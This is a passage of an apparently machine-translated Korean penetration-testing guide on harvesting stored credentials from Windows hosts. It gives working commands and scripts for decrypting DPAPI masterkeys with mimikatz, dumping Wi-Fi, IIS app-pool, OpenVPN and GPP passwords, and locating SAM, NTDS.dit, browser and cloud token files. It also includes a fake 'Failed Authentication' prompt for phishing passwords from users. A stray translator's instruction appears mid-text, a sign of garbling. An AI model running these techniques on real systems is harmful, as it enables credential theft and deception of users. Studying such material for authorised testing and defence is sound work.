DPAPI๋ ์ฌ์ฉ์ ๋ก๊ทธ์ธ ๋น๋ฐ์์ ํ์๋ ๋์นญ ํค๋ฅผ ํตํด ํค๋ฅผ ์ํธํํ ์ ์์ต๋๋ค. ์์คํ ์ํธํ์ ๊ฒฝ์ฐ ์์คํ ์ ๋๋ฉ์ธ ์ธ์ฆ ๋น๋ฐ์ ์ฌ์ฉํฉ๋๋ค.
DPAPI๋ฅผ ์ฌ์ฉํด ์ํธํ๋ ์ฌ์ฉ์ RSA ํค๋ %APPDATA%\Microsoft\Protect\{SID} ๋๋ ํฐ๋ฆฌ์ ์ ์ฅ๋๋ฉฐ, ์ฌ๊ธฐ์ {SID}๋ ์ฌ์ฉ์์ Security Identifier๋ฅผ ์๋ฏธํฉ๋๋ค. ์ฌ์ฉ์์ ๊ฐ์ธ ํค๋ฅผ ๋ณดํธํ๋ ๋ง์คํฐ ํค์ ๋์ผํ ํ์ผ์ ํจ๊ป ์์นํ DPAPI ํค๋ ์ผ๋ฐ์ ์ผ๋ก 64๋ฐ์ดํธ์ ๋๋ค ๋ฐ์ดํฐ๋ก ๊ตฌ์ฑ๋ฉ๋๋ค. (์ด ๋๋ ํฐ๋ฆฌ์ ๋ํ ์ ๊ทผ์ ์ ํ๋์ด ์์ด CMD์ dir ๋ช
๋ น์ผ๋ก ๋ด์ฉ์ ๋์ดํ ์ ์์ง๋ง, PowerShell์์๋ ๋์ดํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์.)
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
์ ์ ํ ์ธ์ (/pvk ๋๋ /rpc)์ ํจ๊ป mimikatz module dpapi::masterkey๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฅผ ๋ณตํธํํ ์ ์์ต๋๋ค.
credentials files protected by the master password๋ ์ผ๋ฐ์ ์ผ๋ก ๋ค์ ์์น์ ์์ต๋๋ค:
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
์ ์ ํ /masterkey์ ํจ๊ป mimikatz module dpapi::cred๋ฅผ ์ฌ์ฉํ์ฌ ๋ณตํธํํ ์ ์์ต๋๋ค.
๋ฃจํธ ๊ถํ์ด ์์ผ๋ฉด sekurlsa::dpapi ๋ชจ๋๋ก DPAPI masterkeys๋ฅผ memory์์ ๋ง์ด ์ถ์ถํ ์ ์์ต๋๋ค.
PowerShell Credentials
PowerShell credentials๋ ์ข ์ข scripting ๋ฐ ์๋ํ ์์ ์์ ์ํธํ๋ ์๊ฒฉ ์ฆ๋ช ์ ํธ๋ฆฌํ๊ฒ ์ ์ฅํ๋ ๋ฐฉ๋ฒ์ผ๋ก ์ฌ์ฉ๋ฉ๋๋ค. ์ด ์๊ฒฉ ์ฆ๋ช ์ DPAPI๋ก ๋ณดํธ๋๋ฉฐ, ์ผ๋ฐ์ ์ผ๋ก ์์ฑ๋ ๋์ผํ ์ฌ์ฉ์์ ๋์ผํ ์ปดํจํฐ์์๋ง ๋ณตํธํํ ์ ์์ต๋๋ค.
ํ์ผ์ ๋ค์ด์๋ PS credentials๋ฅผ ๋ณตํธํํ๋ ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์์ต๋๋ค:
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
john
PS C:\htb> $credential.GetNetworkCredential().password
JustAPWD!
์์ดํ์ด
#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*
Saved RDP Connections
๋ค์ ์์น์์ ์ฐพ์ ์ ์์ต๋๋ค: HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
๋ฐ HKCU\Software\Microsoft\Terminal Server Client\Servers\
์ต๊ทผ์ ์คํ๋ ๋ช ๋ น
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
์๊ฒฉ ๋ฐ์คํฌํฑ ์๊ฒฉ ์ฆ๋ช ๊ด๋ฆฌ์
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
์ ์ ํ /masterkey์ ํจ๊ป Mimikatz dpapi::rdg ๋ชจ๋์ ์ฌ์ฉํ์ฌ ๋ชจ๋ .rdg ํ์ผ์ ๋ณตํธํํ ์ ์์ต๋๋ค
๋ฉ๋ชจ๋ฆฌ์์ ์ฌ๋ฌ DPAPI masterkeys๋ฅผ ์ถ์ถํ๋ ค๋ฉด Mimikatz sekurlsa::dpapi ๋ชจ๋์ ์ฌ์ฉํ์ธ์
Sticky Notes
์ฌ๋๋ค์ ์ข
์ข
Windows ์ํฌ์คํ
์ด์
์์ StickyNotes ์ฑ์ ์ฌ์ฉํ์ฌ ๋น๋ฐ๋ฒํธ๋ฅผ ์ ์ฅํ๊ฑฐ๋ ๊ธฐํ ์ ๋ณด๋ฅผ ๊ธฐ๋กํ์ง๋ง, ์ด๊ฒ์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ์ผ์ด๋ผ๋ ์ฌ์ค์ ๋ชจ๋ฅด๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ต๋๋ค. ์ด ํ์ผ์ C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite์ ์์นํ๋ฉฐ ํญ์ ์ฐพ์์ ์กฐ์ฌํด๋ณผ ๊ฐ์น๊ฐ ์์ต๋๋ค.
AppCmd.exe
AppCmd.exe์์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณต๊ตฌํ๋ ค๋ฉด Administrator ๊ถํ์ด ํ์ํ๋ฉฐ High Integrity ๋ ๋ฒจ๋ก ์คํํด์ผ ํ๋ค๋ ์ ์ ์ ์ํ์ธ์.
AppCmd.exe๋ %systemroot%\system32\inetsrv\ ๋๋ ํฐ๋ฆฌ์ ์์ต๋๋ค.
์ด ํ์ผ์ด ์กด์ฌํ๋ค๋ฉด ์ผ๋ถ credentials๊ฐ ๊ตฌ์ฑ๋์ด ์๊ณ ์ด๋ฅผ recoveredํ ์ ์์ต๋๋ค.
์ด ์ฝ๋๋ PowerUP์์ ์ถ์ถ๋์์ต๋๋ค:
function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"
# Check if appcmd.exe exists
if (Test-Path ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable
# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")
# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {
# Get application pool name
$PoolName = $_
# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd
# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd
# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}
# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {
# Get Virtual Directory Name
$VdirName = $_
# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd
# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd
# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}
# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}
SCClient / SCCM
ํด๋น ๊ฒฝ๋ก์ C:\Windows\CCM\SCClient.exe๊ฐ ์กด์ฌํ๋์ง ํ์ธํ์ธ์ .
์ค์น ํ๋ก๊ทธ๋จ์ SYSTEM privileges๋ก ์คํ๋ฉ๋๋ค, ๋ง์ ๊ฒ๋ค์ด DLL Sideloading (์ ๋ณด ์ถ์ฒ https://github.com/enjoiz/Privesc).
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
ํ์ผ ๋ฐ Registry (Credentials)
Putty Creds
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
Putty SSH ํธ์คํธ ํค
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
๋ ์ง์คํธ๋ฆฌ์ SSH ํค
SSH ๊ฐ์ธ ํค๋ ๋ ์ง์คํธ๋ฆฌ ํค HKCU\Software\OpenSSH\Agent\Keys ์์ ์ ์ฅ๋ ์ ์์ผ๋ฏ๋ก, ๊ทธ ์์ ํฅ๋ฏธ๋ก์ด ํญ๋ชฉ์ด ์๋์ง ํ์ธํด์ผ ํฉ๋๋ค:
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
ํด๋น ๊ฒฝ๋ก์ ์ด๋ค ํญ๋ชฉ์ด ์์ผ๋ฉด ๋๊ฐ ์ ์ฅ๋ SSH key์ผ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. ์ํธํ๋์ด ์ ์ฅ๋์ด ์์ง๋ง https://github.com/ropnop/windows_sshagent_extract๋ฅผ ์ฌ์ฉํ๋ฉด ์ฝ๊ฒ ๋ณตํธํํ ์ ์์ต๋๋ค.
์ด ๊ธฐ์ ์ ๋ํ ์์ธํ ์ ๋ณด: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/
๋ง์ฝ ssh-agent ์๋น์ค๊ฐ ์คํ ์ค์ด ์๋๊ณ ๋ถํ
์ ์๋์ผ๋ก ์์๋๋๋ก ์ค์ ํ๋ ค๋ฉด ๋ค์์ ์คํํ์ธ์:
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
Tip
์ด ๊ธฐ์ ์ ๋ ์ด์ ์ ํจํ์ง ์์ ๊ฒ ๊ฐ์ต๋๋ค.
ssh-add๋ก ๋ช๋ช ssh ํค๋ฅผ ์์ฑํ๊ณ ์ถ๊ฐํ ๋ค ssh๋ก ๋จธ์ ์ ๋ก๊ทธ์ธํด ๋ณด์์ต๋๋ค. ๋ ์ง์คํธ๋ฆฌ HKCU\Software\OpenSSH\Agent\Keys๋ ์กด์ฌํ์ง ์์ผ๋ฉฐ procmon์ ๋น๋์นญ ํค ์ธ์ฆ ์ค์dpapi.dll์ ์ฌ์ฉ์ ์๋ณํ์ง ๋ชปํ์ต๋๋ค.
๋ฐฉ์น๋ ํ์ผ
C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
์ด ํ์ผ๋ค์ metasploit์ post/windows/gather/enum_unattend ๋ชจ๋์ ์ฌ์ฉํด ๊ฒ์ํ ์๋ ์์ต๋๋ค.
์์ ๋ด์ฉ:
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
SAM & SYSTEM ๋ฐฑ์
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
ํด๋ผ์ฐ๋ ์๊ฒฉ ์ฆ๋ช
#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json
McAfee SiteList.xml
๋ค์ ์ด๋ฆ์ ํ์ผ์ ์ฐพ์๋ณด์ธ์: SiteList.xml
์บ์๋ GPP ์ํธ
์ด์ ์๋ Group Policy Preferences (GPP)๋ฅผ ํตํด ์ฌ๋ฌ ๋จธ์ ์ ๋ํด ์ปค์คํ ๋ก์ปฌ ๊ด๋ฆฌ์ ๊ณ์ ์ ๋ฐฐํฌํ ์ ์๋ ๊ธฐ๋ฅ์ด ์์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด ๋ฐฉ๋ฒ์๋ ์ฌ๊ฐํ ๋ณด์ ์ทจ์ฝ์ ์ด ์์์ต๋๋ค. ์ฒซ์งธ, Group Policy Objects (GPOs)๋ SYSVOL์ XML ํ์ผ๋ก ์ ์ฅ๋๋ฉฐ ๋ชจ๋ ๋๋ฉ์ธ ์ฌ์ฉ์๊ฐ ์ ๊ทผํ ์ ์์์ต๋๋ค. ๋์งธ, ์ด๋ฌํ GPP ๋ด์ ์ํธ๋ ๊ณต๊ฐ ๋ฌธ์ํ๋ ๊ธฐ๋ณธ ํค๋ก AES256์ผ๋ก ์ํธํ๋์ด ์์๊ณ , ์ธ์ฆ๋ ์ฌ์ฉ์๋ผ๋ฉด ๋๊ตฌ๋ ์ด๋ฅผ ๋ณตํธํํ ์ ์์์ต๋๋ค. ์ด๋ ์ฌ์ฉ์๊ฐ ๊ถํ ์์น์ ์ป์ ์ ์๋ ์ฌ๊ฐํ ์ํ์ ์ด๋ํ์ต๋๋ค.
์ด ์ํ์ ์ํํ๊ธฐ ์ํด, โcpasswordโ ํ๋๊ฐ ๋น์ด์์ง ์์ ๋ก์ปฌ์ ์บ์๋ GPP ํ์ผ์ ๊ฒ์ํ๋ ๊ธฐ๋ฅ์ด ๊ฐ๋ฐ๋์์ต๋๋ค. ํด๋น ํ์ผ์ ์ฐพ์ผ๋ฉด ๊ทธ ๊ธฐ๋ฅ์ ์ํธ๋ฅผ ๋ณตํธํํ์ฌ ์ปค์คํ PowerShell object๋ฅผ ๋ฐํํฉ๋๋ค. ์ด ๊ฐ์ฒด์๋ GPP ๋ฐ ํ์ผ ์์น์ ๋ํ ์ธ๋ถ ์ ๋ณด๊ฐ ํฌํจ๋์ด ์์ด ์ทจ์ฝ์ ์ ์๋ณํ๊ณ ์์ ํ๋ ๋ฐ ๋์์ด ๋ฉ๋๋ค.
Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (Windows Vista ์ด์ ) for these files:
- Groups.xml
- Services.xml
- Scheduledtasks.xml
- DataSources.xml
- Printers.xml
- Drives.xml
cPassword๋ฅผ ๋ณตํธํํ๋ ค๋ฉด:
#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw
crackmapexec์ ์ฌ์ฉํ์ฌ ๋น๋ฐ๋ฒํธ๋ฅผ ์ป๊ธฐ:
crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin
IIS ์น ๊ตฌ์ฑ
Get-Childitem โPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Get-Childitem โPath C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem โPath C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
credentials๊ฐ ํฌํจ๋ web.config ์:
<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>
OpenVPN ์๊ฒฉ ์ฆ๋ช
Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}
foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]
$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)
Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}
๋ก๊ทธ
# IIS
C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem โPath C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
credentials ์์ฒญํ๊ธฐ
๊ทธ๊ฐ ์๊ณ ์์ ๊ฒ ๊ฐ๋ค๋ฉด ํญ์ ์ฌ์ฉ์์๊ฒ ์์ ์ credentials ๋๋ ๋ค๋ฅธ ์ฌ์ฉ์์ credentials๋ฅผ ์ ๋ ฅํ๋๋ก ์์ฒญํ ์ ์๋ค(์ง์ ํด๋ผ์ด์ธํธ์๊ฒ credentials๋ฅผ ์์ฒญํ๋ ๊ฒ์ ์ ๋ง ์ํํ๋ค):
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
credentials๊ฐ ํฌํจ๋ ๊ฐ๋ฅ์ฑ์ด ์๋ ํ์ผ ์ด๋ฆ
๊ณผ๊ฑฐ์ passwords๊ฐ clear-text ๋๋ Base64๋ก ํฌํจ๋์ด ์๋ ์๋ ค์ง ํ์ผ๋ค
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db #Firefox
key4.db #Firefox
places.sqlite #Firefox
"Login Data" #Chrome
Cookies #Chrome
Bookmarks #Chrome
History #Chrome
TypedURLsTime #IE
TypedURLs #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
ํด๋น ํ์ผ์ ๋ด์ฉ์ ๋ฒ์ญํ๋ ค๋ฉด ์๋ฌธ(๋๋ ๋ฒ์ญํ ํ์ผ๋ค)์ ๋ถ์ฌ๋ฃ์ด ์ฃผ์ธ์.
์ฌ๋ฌ ํ์ผ์ ํ๊บผ๋ฒ์ ๋ฒ์ญํ๋ ค๋ฉด ํ์ผ๋ค์ ๋ชจ๋ ์ ๊ณตํ๊ฑฐ๋ ๋ฒ์ญํ ํ์ผ ๋ชฉ๋ก์ ์๋ ค์ฃผ์๋ฉด ๋ฉ๋๋ค.
์ฐธ๊ณ : ๋ฒ์ญ ์ ์ฝ๋, technique ์ด๋ฆ, cloud/SaaS ํ๋ซํผ๋ช , ๋งํฌยท๊ฒฝ๋กยท๋งํฌ๋ค์ด ํ๊ทธ ๋ฑ์ ๋ฒ์ญํ์ง ์๊ณ ๊ทธ๋๋ก ์ ์งํฉ๋๋ค.
cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
Get-Childitem โPath C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
RecycleBin์ Credentials
๋ํ Bin์ ํ์ธํ์ฌ ๊ทธ ์์ ์๋ credentials๋ฅผ ์ฐพ์๋ณด์ธ์
์ฌ๋ฌ ํ๋ก๊ทธ๋จ์ ์ ์ฅ๋ recover passwords๋ฅผ ๋ณต๊ตฌํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค: http://www.nirsoft.net/password_recovery_tools.html
registry ๋ด๋ถ
credentials๊ฐ ํฌํจ๋ ์ ์๋ ๋ค๋ฅธ registry ํค๋ค
reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
Extract openssh keys from registry.
๋ธ๋ผ์ฐ์ ๊ธฐ๋ก
๋น๋ฐ๋ฒํธ๊ฐ ์ ์ฅ๋ Chrome or Firefox์ DB๋ฅผ ํ์ธํด์ผ ํฉ๋๋ค.\
๋ํ ๋ธ๋ผ์ฐ์ ์ ๋ฐฉ๋ฌธ ๊ธฐ๋ก, ๋ถ๋งํฌ ๋ฐ ์ฆ๊ฒจ์ฐพ์ด๋ฅผ ํ์ธํ์ธ์. ์ผ๋ถ ๋น๋ฐ๋ฒํธ๊ฐ ๊ทธ๊ณณ์ ์ ์ฅ๋์ด ์์ ์ ์์ต๋๋ค.
๋ธ๋ผ์ฐ์ ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ถํ๋ ๋๊ตฌ:
- Mimikatz:
dpapi::chrome - SharpWeb
- SharpChromium
- SharpDPAPI
COM DLL Overwriting
**Component Object Model (COM)**์ Windows ์ด์์ฒด์ ์ ๋ด์ฅ๋ ๊ธฐ์ ๋ก, ์๋ก ๋ค๋ฅธ ์ธ์ด๋ก ์์ฑ๋ ์ํํธ์จ์ด ์ปดํฌ๋ํธ ๊ฐ์ ์ํธ ํต์ ์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค. ๊ฐ COM ์ปดํฌ๋ํธ๋ **class ID (CLSID)**๋ก ์๋ณ๋๋ฉฐ, ๊ฐ ์ปดํฌ๋ํธ๋ ํ๋ ์ด์์ ์ธํฐํ์ด์ค๋ฅผ ํตํด ๊ธฐ๋ฅ์ ๋ ธ์ถํ๊ณ ์ด๋ค ์ธํฐํ์ด์ค๋ **interface IDs (IIDs)**๋ก ์๋ณ๋ฉ๋๋ค.
COM ํด๋์ค์ ์ธํฐํ์ด์ค๋ ๋ ์ง์คํธ๋ฆฌ์ HKEY\CLASSES\ROOT\CLSID ๋ฐ HKEY\CLASSES\ROOT\Interface์ ๊ฐ๊ฐ ์ ์๋ฉ๋๋ค. ์ด ๋ ์ง์คํธ๋ฆฌ๋ HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes๋ฅผ ๋ณํฉํ์ฌ ์์ฑ๋ HKEY\CLASSES\ROOT์ ๋๋ค.
Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) or Neutral (Thread Neutral).
.png)
๊ธฐ๋ณธ์ ์ผ๋ก, ์คํ๋ DLL ์ค ํ๋๋ฅผ ๋ฎ์ด์ธ ์ ์๋ค๋ฉด, ๊ทธ DLL์ด ๋ค๋ฅธ ์ฌ์ฉ์์ ์ํด ์คํ๋ ๊ฒฝ์ฐ escalate privilegesํ ์ ์์ต๋๋ค.
๊ณต๊ฒฉ์๋ค์ด COM Hijacking์ persistence ๋ฉ์ปค๋์ฆ์ผ๋ก ์ด๋ป๊ฒ ์ฌ์ฉํ๋์ง ์์๋ณด๋ ค๋ฉด ํ์ธํ์ธ์:
ํ์ผ ๋ฐ ๋ ์ง์คํธ๋ฆฌ์์์ ์ผ๋ฐ์ ์ธ ๋น๋ฐ๋ฒํธ ๊ฒ์
ํ์ผ ๋ด์ฉ ๊ฒ์
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
ํน์ ํ์ผ ์ด๋ฆ์ ๊ฐ์ง ํ์ผ ๊ฒ์ํ๊ธฐ
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
registry์์ key names ๋ฐ passwords ๊ฒ์
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
๋น๋ฐ๋ฒํธ๋ฅผ ๊ฒ์ํ๋ ๋๊ตฌ
MSF-Credentials Plugin is a msf ํ๋ฌ๊ทธ์ธ์
๋๋ค. ์ ๊ฐ ๋ง๋ ์ด ํ๋ฌ๊ทธ์ธ์ automatically execute every metasploit POST module that searches for credentials ๋ฅผ ํผํด์ ๋ด๋ถ์์ ์คํํ๋๋ก ์ค๊ณ๋์์ต๋๋ค.
Winpeas๋ ์ด ํ์ด์ง์์ ์ธ๊ธ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ํฌํจํ ๋ชจ๋ ํ์ผ์ ์๋์ผ๋ก ๊ฒ์ํฉ๋๋ค.
Lazagne ๋ ์์คํ
์์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ถํ๋ ๋ ๋ค๋ฅธ ํ๋ฅญํ ๋๊ตฌ์
๋๋ค.
๋๊ตฌ SessionGopher ๋ ์ด ๋ฐ์ดํฐ๋ฅผ ํ๋ฌธ์ผ๋ก ์ ์ฅํ๋ ์ฌ๋ฌ ๋๊ตฌ(PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP)์ sessions, usernames and passwords ๋ฅผ ๊ฒ์ํฉ๋๋ค
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Leaked Handlers
